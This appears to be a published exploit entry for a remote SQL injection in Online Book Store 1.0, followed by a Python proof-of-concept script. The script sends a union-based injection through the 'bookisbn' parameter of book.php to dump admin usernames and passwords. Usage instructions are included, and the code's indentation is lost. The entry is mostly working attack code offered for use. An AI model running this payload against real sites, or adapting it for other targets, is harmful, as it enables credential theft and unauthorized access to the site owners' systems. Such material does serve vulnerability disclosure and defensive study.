Authored by ferhatcil

Online Book Store version 1.0 suffers from a remote SQL injection vulnerability. This is a variant of the original vulnerability discovered in August of 2020 by Moaaz Taha.

# Exploit Title: Online Book Store Union Based Sql Injection
# Date: 2020-10-25
# Exploit Author: ferhatcil
# Vendor Homepage: https://projectworlds.in/
# Software Link:
https://www.sourcecodester.com/php/14550/online-book-store-php-full-source-code.html
# Version: 1.0
# Tested on: Ubuntu 18.04
# CVE : N/A

Exploit Code

import getopt
import json
import sys
import requests
import colorama
from colorama import Fore, Style
from bs4 import BeautifulSoup

def usage():
print("Online Book Store SQLi {} ( github.com/ferhatcil )".format(VERSION))
print("Usage: " + sys.argv[0] + " [OPTIONS]")
print(" --domaintexample.com")
print("Examples:")
print(" python3 " + sys.argv[0] + " --domain http://example.com")
print(" python3 " + sys.argv[0] + " --domain http://example.com/bookstore")
sys.exit(1)


def xx(domain):
if 'http://' not in domain:
domain = "http://"+domain+"/book.php?bookisbn=-x' union select
1,2,3,4,group_concat(name,':',pass),6,7 from admin -- -"
else:
domain = domain+"/book.php?bookisbn=-x' union select
1,2,3,4,group_concat(name,':',pass),6,7 from admin -- -"
try:
r = requests.get(domain)
soup = BeautifulSoup(r.text,'html.parser')
data = soup.find('div',{'class':'col-md-6'}).find("p").text
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{Fore.YELLOW}"+ data + f"{
Style.RESET_ALL}")
except:
print(f"{Fore.RED}"+ "[-] Error" + f"{Style.RESET_ALL}")

if __name__ == "__main__":
try:
opts, args = getopt.getopt(sys.argv[1:], "d", ["domain="])
except(getopt.GetoptError) as err:
print(err)
sys.exit(-1)

for o, a in opts:
if o in ("-d", "--domain"):
xx(a)
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
sys.exit(-1)

argc = len(sys.argv)
if argc < 2:
usage()